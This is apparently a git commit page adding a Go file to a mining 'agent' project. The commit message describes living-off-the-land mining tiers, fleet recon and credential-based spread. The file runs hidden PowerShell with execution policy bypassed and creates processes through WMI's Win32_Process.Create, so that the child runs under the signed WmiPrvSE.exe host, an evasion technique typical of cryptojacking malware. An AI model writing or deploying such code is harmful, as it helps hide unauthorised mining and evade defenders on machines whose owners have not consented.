Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
60
agent/miner/tier_wmi_windows.go
Normal file
60
agent/miner/tier_wmi_windows.go
Normal file
@@ -0,0 +1,60 @@
|
||||
//go:build windows
|
||||
|
||||
package miner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// platformWMIProcessCreate spawns a child via local Win32_Process.Create (CIM).
|
||||
// The child runs under the signed WMI provider host (WmiPrvSE.exe).
|
||||
func platformWMIProcessCreate(commandLine string) (uint32, error) {
|
||||
escaped := strings.ReplaceAll(commandLine, `'`, `''`)
|
||||
script := fmt.Sprintf(`
|
||||
$args = @{ CommandLine = '%s' }
|
||||
$r = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments $args
|
||||
if ($r.ReturnValue -ne 0) { throw "Win32_Process.Create return=$($r.ReturnValue)" }
|
||||
@{ pid = [uint32]$r.ProcessId; host = '%s' } | ConvertTo-Json -Compress
|
||||
`, escaped, SignedHostProcess)
|
||||
|
||||
out, err := hiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("wmi process create: %w (%s)", err, strings.TrimSpace(string(out)))
|
||||
}
|
||||
return parseWMICreatePID(out)
|
||||
}
|
||||
|
||||
func parseWMICreatePID(out []byte) (uint32, error) {
|
||||
raw := strings.TrimSpace(string(out))
|
||||
re := regexp.MustCompile(`"pid"\s*:\s*(\d+)`)
|
||||
m := re.FindStringSubmatch(raw)
|
||||
if len(m) < 2 {
|
||||
return 0, fmt.Errorf("wmi: no pid in output: %s", raw)
|
||||
}
|
||||
v, err := strconv.ParseUint(m[1], 10, 32)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uint32(v), nil
|
||||
}
|
||||
|
||||
var hiddenCombinedOutput = defaultHiddenCombinedOutput
|
||||
|
||||
func defaultHiddenCombinedOutput(name string, arg ...string) ([]byte, error) {
|
||||
cmd := exec.Command(name, arg...)
|
||||
applyHiddenWindow(cmd)
|
||||
return cmd.CombinedOutput()
|
||||
}
|
||||
|
||||
// SetTierHiddenCombinedOutput overrides hidden exec for tests.
|
||||
func SetTierHiddenCombinedOutput(fn func(name string, arg ...string) ([]byte, error)) {
|
||||
if fn == nil {
|
||||
hiddenCombinedOutput = defaultHiddenCombinedOutput
|
||||
return
|
||||
}
|
||||
hiddenCombinedOutput = fn
|
||||
}
|
||||
Reference in New Issue
Block a user